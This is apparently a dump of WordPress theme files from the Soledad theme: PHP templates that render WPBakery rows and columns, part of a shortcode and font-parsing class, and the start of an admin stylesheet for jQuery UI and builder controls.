			do_action( 'penciframework_add_shortcode_vc' );
		}

		public function get_list_shortcodes() {
			return array(
				'container',
				'column',
				'container_inner',
				'column_inner',
				'fancy_heading',
				'google_map',
				'info_box',
				'popular_cat',
			);
		}

		/**
		 * Enqueue scripts and styles.
		 */
		public function printScriptsMessages() {
			if ( ! vc_is_frontend_editor() && $this->isValidPostType( get_post_type() ) ) {
				wp_enqueue_script( 'pen-vc-backend', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/vc-backend.js', array(
					'jquery',
					'vc-backend-min-js'
				), PENCI_SOLEDAD_VERSION, true );
				wp_enqueue_style( 'pen-vc-backend', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/admin.css', '', PENCI_SOLEDAD_VERSION );
				$localize_script = array(
					'ajaxUrl' => admin_url( 'admin-ajax.php' ),
					'nonce'   => wp_create_nonce( 'ajax-nonce' ),
				);
				wp_localize_script( 'pen-vc-backend', 'PENCILOCALIZE', $localize_script );
				wp_enqueue_script( 'pen-vc-fields', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/vc-fields.js', array(
					'jquery',
					'jquery-ui-slider',
				), PENCI_SOLEDAD_VERSION, true );
			}
		}

		public function isValidPostType( $type = '' ) {
			if ( 'vc_grid_item' === $type ) {
				return false;
			}

			return vc_check_post_type( ! empty( $type ) ? $type : get_post_type() );
		}

		public function add_google_fonts( $fonts_list ) {
			$fonts = array_merge( penci_get_custom_fonts(), penci_font_browser(), penci_list_google_fonts_array() );
			array_walk( $fonts, array( $this, 'parse_google_font' ) );

			return array_merge( array( '' ), array_values( $fonts ), $fonts_list );
		}

		protected function parse_google_font( &$font, $font_data ) {
			list( $name, $styles ) = explode( ',', $font_data . ',' );
			$styles = str_replace( ':', ',', trim( $styles ) );

			$font_class              = new stdClass();
			$font_class->font_family = str_replace( '"', '', $name );
			$font_class->font_types  = implode( ',', $this->parse_font_types( $styles ) );
			$font_class->font_styles = $styles;

			$font = $font_class;
		}

		protected function parse_font_types( $styles ) {
			$styles = array_filter( explode( ',', $styles . ',' ) );
			array_walk( $styles, array( $this, 'parse_font_type' ) );

			return $styles;
		}

		protected function parse_font_type( &$style ) {
			$types = array(
				'100'       => '100 thin:100:normal',
				'100i'      => '100 thin italic:100:italic',
				'100italic' => '100 thin italic:100:italic',
				'200'       => '200 thin:200:normal',
				'200i'      => '200 thin italic:200:italic',
				'200italic' => '200 thin italic:200:italic',
				'300'       => '300 light:300:normal',
				'300i'      => '300 light italic:300:italic',
				'300italic' => '300 light italic:300:italic',
				'400'       => '400 regular:400:normal',
				'regular'   => '400 regular:400:normal',
				'400i'      => '400 regular italic:400:italic',
				'400italic' => '400 regular italic:400:italic',
				'italic'    => '400 regular italic:400:italic',
				'500'       => '500 medium:500:normal',
				'500i'      => '500 medium italic:500:italic',
				'500italic' => '500 medium italic:500:italic',
				'600'       => '600 medium:600:normal',
				'600i'      => '600 medium italic:600:italic',
				'600italic' => '600 medium italic:600:italic',
				'700'       => '700 bold:700:normal',
				'bold'      => '700 bold:700:normal',
				'700i'      => '700 bold italic:700:italic',
				'700italic' => '700 bold italic:700:italic',
				'800'       => '800 bolder:800:normal',
				'800i'      => '800 bolder italic:800:italic',
				'800italic' => '800 bolder italic:800:italic',
				'900'       => '900 black:900:normal',
				'900i'      => '900 black italic:900:italic',
				'900italic' => '900 black italic:900:italic',
			);
			$style = isset( $types[ $style ] ) ? $types[ $style ] : '400 regular:400:normal';
		}
	}

	Penci_WPB_VC::instance();
endif;
PK     N\Q2    $  inc/js_composer/templates/vc_row.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $full_width
 * @var $full_height
 * @var $equal_height
 * @var $columns_placement
 * @var $content_placement
 * @var $parallax
 * @var $parallax_image
 * @var $css
 * @var $el_id
 * @var $video_bg
 * @var $video_bg_url
 * @var $video_bg_parallax
 * @var $parallax_speed_bg
 * @var $parallax_speed_video
 * @var $content - shortcode content
 * @var $css_animation
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row $this
 */
$el_class = $full_height = $parallax_speed_bg = $parallax_speed_video = $full_width = $equal_height = $flex_row = $columns_placement = $content_placement = $parallax = $parallax_image = $css = $el_id = $video_bg = $video_bg_url = $video_bg_parallax = $css_animation = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

wp_enqueue_script( 'wpb_composer_front_js' );

$el_class = $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);

if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) || $video_bg || $parallax
) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
if ( ! empty( $full_width ) ) {
	$wrapper_attributes[] = 'data-vc-full-width="true"';
	$wrapper_attributes[] = 'data-vc-full-width-init="false"';
	if ( 'stretch_row_content' === $full_width ) {
		$wrapper_attributes[] = 'data-vc-stretch-content="true"';
	} elseif ( 'stretch_row_content_no_spaces' === $full_width ) {
		$wrapper_attributes[] = 'data-vc-stretch-content="true"';
		$css_classes[] = 'vc_row-no-padding';
	}
	$after_output .= '<div class="vc_row-full-width vc_clearfix"></div>';
}

if ( ! empty( $full_height ) ) {
	$css_classes[] = 'vc_row-o-full-height';
	if ( ! empty( $columns_placement ) ) {
		$flex_row = true;
		$css_classes[] = 'vc_row-o-columns-' . $columns_placement;
		if ( 'stretch' === $columns_placement ) {
			$css_classes[] = 'vc_row-o-equal-height';
		}
	}
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$has_video_bg = ( ! empty( $video_bg ) && ! empty( $video_bg_url ) && vc_extract_youtube_id( $video_bg_url ) );

$parallax_speed = $parallax_speed_bg;
if ( $has_video_bg ) {
	$parallax = $video_bg_parallax;
	$parallax_speed = $parallax_speed_video;
	$parallax_image = $video_bg_url;
	$css_classes[] = 'vc_video-bg-container';
	wp_enqueue_script( 'vc_youtube_iframe_api_js' );
}

if ( ! empty( $parallax ) ) {
	wp_enqueue_script( 'vc_jquery_skrollr_js' );
	$wrapper_attributes[] = 'data-vc-parallax="' . esc_attr( $parallax_speed ) . '"'; // parallax speed
	$css_classes[] = 'vc_general vc_parallax vc_parallax-' . $parallax;
	if ( false !== strpos( $parallax, 'fade' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fade';
		$wrapper_attributes[] = 'data-vc-parallax-o-fade="on"';
	} elseif ( false !== strpos( $parallax, 'fixed' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fixed';
	}
}

if ( ! empty( $parallax_image ) ) {
	if ( $has_video_bg ) {
		$parallax_image_src = $parallax_image;
	} else {
		$parallax_image_id = preg_replace( '/[^\d]/', '', $parallax_image );
		$parallax_image_src = wp_get_attachment_image_src( $parallax_image_id, 'full' );
		if ( ! empty( $parallax_image_src[0] ) ) {
			$parallax_image_src = $parallax_image_src[0];
		}
	}
	$wrapper_attributes[] = 'data-vc-parallax-image="' . esc_attr( $parallax_image_src ) . '"';
}
if ( ! $parallax && $has_video_bg ) {
	$wrapper_attributes[] = 'data-vc-video-bg="' . esc_attr( $video_bg_url ) . '"';
}
$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     N\Å     *  inc/js_composer/templates/vc_row_inner.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $css
 * @var $el_id
 * @var $equal_height
 * @var $content_placement
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row_Inner $this
 */
$el_class = $equal_height = $content_placement = $css = $el_id = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$el_class = $this->getExtraClass( $el_class );
$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_inner',
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);
if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     N\#K      -  inc/js_composer/templates/vc_column_inner.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $el_id
 * @var $width
 * @var $css
 * @var $offset
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Column_Inner $this
 */
$el_class = $width = $el_id = $css = $offset = '';
$output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$width = wpb_translateColumnWidthToSpan( $width );
$width = vc_column_offset_class_merge( $offset, $width );

$css_classes = array(
	$this->getExtraClass( $el_class ),
	'wpb_column',
	'vc_column_container',
	$width,
);

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_col-has-fill';
}

$wrapper_attributes = array();

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( $css_classes ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$innerColumnClass = 'vc_column-inner ' . esc_attr( trim( vc_shortcode_custom_css_class( $css ) ) );
$output .= '<div class="' . trim( $innerColumnClass ) . '">';
$output .= '<div class="wpb_wrapper">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';

// @codingStandardsIgnoreLine
echo $output;
PK     N\    '  inc/js_composer/templates/vc_column.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_id
 * @var $el_class
 * @var $width
 * @var $css
 * @var $offset
 * @var $content - shortcode content
 * @var $css_animation
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Column $this
 */
$el_class = $el_id = $width = $parallax_speed_bg = $parallax_speed_video = $parallax = $parallax_image = $video_bg = $video_bg_url = $video_bg_parallax = $css = $offset = $css_animation = '';
$output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

wp_enqueue_script( 'wpb_composer_front_js' );

$width = wpb_translateColumnWidthToSpan( $width );
$width = vc_column_offset_class_merge( $offset, $width );

$css_classes = array(
	$this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation ),
	'wpb_column',
	'vc_column_container',
	$width,
);

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) || $video_bg || $parallax
) {
	$css_classes[] = 'vc_col-has-fill';
}

$wrapper_attributes = array();

$has_video_bg = ( ! empty( $video_bg ) && ! empty( $video_bg_url ) && vc_extract_youtube_id( $video_bg_url ) );

$parallax_speed = $parallax_speed_bg;
if ( $has_video_bg ) {
	$parallax = $video_bg_parallax;
	$parallax_speed = $parallax_speed_video;
	$parallax_image = $video_bg_url;
	$css_classes[] = 'vc_video-bg-container';
	wp_enqueue_script( 'vc_youtube_iframe_api_js' );
}

if ( ! empty( $parallax ) ) {
	wp_enqueue_script( 'vc_jquery_skrollr_js' );
	$wrapper_attributes[] = 'data-vc-parallax="' . esc_attr( $parallax_speed ) . '"'; // parallax speed
	$css_classes[] = 'vc_general vc_parallax vc_parallax-' . $parallax;
	if ( false !== strpos( $parallax, 'fade' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fade';
		$wrapper_attributes[] = 'data-vc-parallax-o-fade="on"';
	} elseif ( false !== strpos( $parallax, 'fixed' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fixed';
	}
}

if ( ! empty( $parallax_image ) ) {
	if ( $has_video_bg ) {
		$parallax_image_src = $parallax_image;
	} else {
		$parallax_image_id = preg_replace( '/[^\d]/', '', $parallax_image );
		$parallax_image_src = wp_get_attachment_image_src( $parallax_image_id, 'full' );
		if ( ! empty( $parallax_image_src[0] ) ) {
			$parallax_image_src = $parallax_image_src[0];
		}
	}
	$wrapper_attributes[] = 'data-vc-parallax-image="' . esc_attr( $parallax_image_src ) . '"';
}
if ( ! $parallax && $has_video_bg ) {
	$wrapper_attributes[] = 'data-vc-video-bg="' . esc_attr( $video_bg_url ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( $css_classes ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$innerColumnClass = 'vc_column-inner ' . esc_attr( trim( vc_shortcode_custom_css_class( $css ) ) );
$output .= '<div class="' . trim( $innerColumnClass ) . '">';
$output .= '<div class="wpb_wrapper">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';

// @codingStandardsIgnoreLine
echo $output;
PK     N\wad  ad     inc/js_composer/assets/admin.cssnu [        .ui-datepicker {
	width: 17em;
	padding: .2em .2em 0;
	display: none
}
.ui-datepicker .ui-datepicker-header {
	position: relative;
	padding: .2em 0
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
	position: absolute;
	top: 2px;
	width: 1.8em;
	height: 1.8em
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
	top: 1px
}
.ui-datepicker .ui-datepicker-prev {
	left: 2px
}
.ui-datepicker .ui-datepicker-next {
	right: 2px
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 1px
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 1px
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
	display: block;
	position: absolute;
	left: 50%;
	margin-left: -8px;
	top: 50%;
	margin-top: -8px
}
.ui-datepicker .ui-datepicker-title {
	margin: 0 2.3em;
	line-height: 1.8em;
	text-align: center
}
.ui-datepicker .ui-datepicker-title select {
	font-size: 1em;
	margin: 1px 0
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	width: 45%
}
.ui-datepicker table {
	width: 100%;
	font-size: .9em;
	border-collapse: collapse;
	margin: 0 0 .4em
}
.ui-datepicker th {
	padding: .7em .3em;
	text-align: center;
	font-weight: bold;
	border: 0
}
.ui-datepicker td {
	border: 0;
	padding: 1px
}
.ui-datepicker td span,
.ui-datepicker td a {
	display: block;
	padding: .2em;
	text-align: right;
	text-decoration: none
}
.ui-datepicker .ui-datepicker-buttonpane {
	background-image: none;
	margin: .7em 0 0 0;
	padding: 0 .2em;
	border-left: 0;
	border-right: 0;
	border-bottom: 0
}
.ui-datepicker .ui-datepicker-buttonpane button {
	float: right;
	margin: .5em .2em .4em;
	cursor: pointer;
	padding: .2em .6em .3em .6em;
	width: auto;
	overflow: visible
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
	float: left
}
.ui-datepicker.ui-datepicker-multi {
	width: auto
}
.ui-datepicker-multi .ui-datepicker-group {
	float: left
}
.ui-datepicker-multi .ui-datepicker-group table {
	width: 95%;
	margin: 0 auto .4em
}
.ui-datepicker-multi-2 .ui-datepicker-group {
	width: 50%
}
.ui-datepicker-multi-3 .ui-datepicker-group {
	width: 33.3%
}
.ui-datepicker-multi-4 .ui-datepicker-group {
	width: 25%
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
	border-left-width: 0
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
	clear: left
}
.ui-datepicker-row-break {
	clear: both;
	width: 100%;
	font-size: 0
}
.ui-datepicker-rtl {
	direction: rtl
}
.ui-datepicker-rtl .ui-datepicker-prev {
	right: 2px;
	left: auto
}
.ui-datepicker-rtl .ui-datepicker-next {
	left: 2px;
	right: auto
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
	right: 1px;
	left: auto
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
	left: 1px;
	right: auto
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
	clear: right
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
	float: left
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
	float: right
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
	border-right-width: 0;
	border-left-width: 1px
}
.ui-datepicker .ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
	left: .5em;
	top: .3em
}
.ui-slider {
	position: relative;
	text-align: left
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: default;
	-ms-touch-action: none;
	touch-action: none
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0
}
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit
}
.ui-slider-horizontal {
	height: .8em
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0
}
.ui-slider-vertical {
	width: .8em;
	height: 100px
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0
}
.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block
}
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
	border-right: none
}
.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
	border-bottom: none
}
.ui-widget {
	font-family: Verdana, Arial, sans-serif;
	font-size: 1.1em
}
.ui-widget .ui-widget {
	font-size: 1em
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
	font-family: Verdana, Arial, sans-serif;
	font-size: 1em
}
.ui-widget.ui-widget-content {
	border: 1px solid #d3d3d3
}
.ui-widget-content {
	border: 1px solid #aaa;
	background: #fff;
	color: #222
}
.ui-widget-content a {
	color: #222
}
.ui-widget-header {
	border: 1px solid #aaa;
	background: #ccc url("../images/jquery-ui/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;
	color: #222;
	font-weight: bold
}
.ui-widget-header a {
	color: #222
}
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default,
.ui-button,
html .ui-button.ui-state-disabled:hover,
html .ui-button.ui-state-disabled:active {
	border: 1px solid #d3d3d3;
	background: #e6e6e6 url("../images/jquery-ui/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #555
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited,
a.ui-button,
a:link.ui-button,
a:visited.ui-button,
.ui-button {
	color: #555;
	text-decoration: none
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus,
.ui-button:hover,
.ui-button:focus {
	border: 1px solid #999;
	background: #dadada url("../images/jquery-ui/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited,
.ui-state-focus a,
.ui-state-focus a:hover,
.ui-state-focus a:link,
.ui-state-focus a:visited,
a.ui-button:hover,
a.ui-button:focus {
	color: #212121;
	text-decoration: none
}
.ui-visual-focus {
	box-shadow: 0 0 3px 1px rgb(94, 158, 214)
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active,
a.ui-button:active,
.ui-button:active,
.ui-button.ui-state-active:hover {
	border: 1px solid #aaa;
	background: #fff url("../images/jquery-ui/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121
}
.ui-icon-background,
.ui-state-active .ui-icon-background {
	border: #aaa;
	background-color: #212121
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
	color: #212121;
	text-decoration: none
}
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
	border: 1px solid #fcefa1;
	background: #fbf9ee url("../images/jquery-ui/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;
	color: #363636
}
.ui-state-checked {
	border: 1px solid #fcefa1;
	background: #fbf9ee
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
	color: #363636
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
	border: 1px solid #cd0a0a;
	background: #fef1ec url("../images/jquery-ui/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;
	color: #cd0a0a
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
	color: #cd0a0a
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
	color: #cd0a0a
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
	font-weight: bold
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
	opacity: .7;
	filter: Alpha(Opacity=70);
	font-weight: normal
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
	opacity: .35;
	filter: Alpha(Opacity=35);
	background-image: none
}
.ui-state-disabled .ui-icon {
	filter: Alpha(Opacity=35)
}
.ui-icon {
	width: 16px;
	height: 16px
}
.ui-widget-overlay {
	background: #aaa;
	opacity: .3;
	filter: Alpha(Opacity=30)
}
.ui-widget-shadow {
	-webkit-box-shadow: -8px -8px 8px #aaa;
	box-shadow: -8px -8px 8px #aaa
}
/***** Shortcode container ******/
.wpb_penci_container .vc_controls .wpb_element_title {
	font-size: 13px;
	line-height: 13px;
	display: inline-block;
	position: relative;
	top: -3px;
	color: #131313;
	font-weight: 600;
	margin-left: 3px;
	margin-right: -5px;
}
.wpb_penci_container .vc_controls .wpb_element_title img {
	width: 20px;
	height: 20px;
	position: relative;
	margin-bottom: -9px;
}
.wpb_penci_container > .vc_controls > .column_move {
	background-color: #fff;
}
.wpb_row_container > .wpb_vc_column_inner > .vc_controls {
	text-align: center;
	background: #fff;
	width: 100%;
	line-height: 1px;
	padding: 2px;
	height: 24px;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts {
	height: 17px !important;
	left: 55px !important;
	overflow: inherit !important;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a {
	position: relative;
}
.vc_controls-row .vc_control-row-layout:hover a.penci-hidden,
.vc_controls-row .vc_row_layouts:hover a.penci-hidden {
	display: none;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a.cell-13_23 i {
	transform: rotate(180deg);
	-moz-transform: rotate(180deg);
	-webkit-transform: rotate(180deg);
	-o-transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	top: 4px;
	left: 2px;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:before,
.wpb_penci_container .vc_controls-row .vc_row_layouts a:after {
	position: absolute;
	-webkit-transform: translate3d(0, 0, 0);
	-moz-transform: translate3d(0, 0, 0);
	transform: translate3d(0, 0, 0);
	visibility: hidden;
	opacity: 0;
	z-index: 1000000;
	pointer-events: none;
	-webkit-transition: 0.3s ease;
	-moz-transition: 0.3s ease;
	transition: 0.3s ease;
	-webkit-transition-delay: 0ms;
	-moz-transition-delay: 0ms;
	transition-delay: 0ms;
	left: 100%;
	bottom: 50%;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:before {
	content: '';
	position: absolute;
	background: transparent;
	border: 6px solid transparent;
	z-index: 1000001;
	margin-bottom: 11px;
	left: 8px;
	border-top-color: #383838;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:after {
	content: attr(data-hint);
	background: #383838;
	color: white;
	padding: 8px 10px;
	font-size: 12px;
	line-height: 12px;
	white-space: nowrap;
	border-radius: 3px;
	margin-bottom: 22px;
	margin-left: -29px;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:before, .wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:after, .wpb_penci_container .vc_controls-row .vc_row_layouts a:focus:before, .wpb_penci_container .vc_controls-row .vc_row_layouts a:focus:after {
	visibility: visible;
	opacity: 1;
	-webkit-transform: translateY(8px);
	-moz-transform: translateY(8px);
	transform: translateY(8px);
	z-index: 5;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:before, .wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:after {
	-webkit-transition-delay: 100ms;
	-moz-transition-delay: 100ms;
	transition-delay: 100ms;
}
.wpb_penci_container .vc_controls-row .vc_control-row-layout a.vc_active,
.wpb_penci_container .vc_controls-row .vc_control-row-layout a:hover,
.wpb_penci_container .vc_controls-row .vc_row_layouts a.vc_active,
.wpb_penci_container .vc_controls-row .vc_row_layouts a:hover {
	background-color: #FBEED5;
}
.wpb_row_container > .wpb_penci_column > .vc_controls,
.wpb_row_container > .wpb_penci_column_inner > .vc_controls {
	text-align: center;
	background: #fff;
	width: 100%;
	line-height: 1px;
	padding: 2px;
	height: 24px;
}
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper {
	background: #fff;
	padding: 1px 14px;
}
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper > .wpb_column_container,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper > .wpb_column_container {
	border: 5px solid #f5f5f5;
}
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper .wpb_penci_container_inner,
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper .wpb_content_element,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper .wpb_penci_container_inner,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper .wpb_content_element {
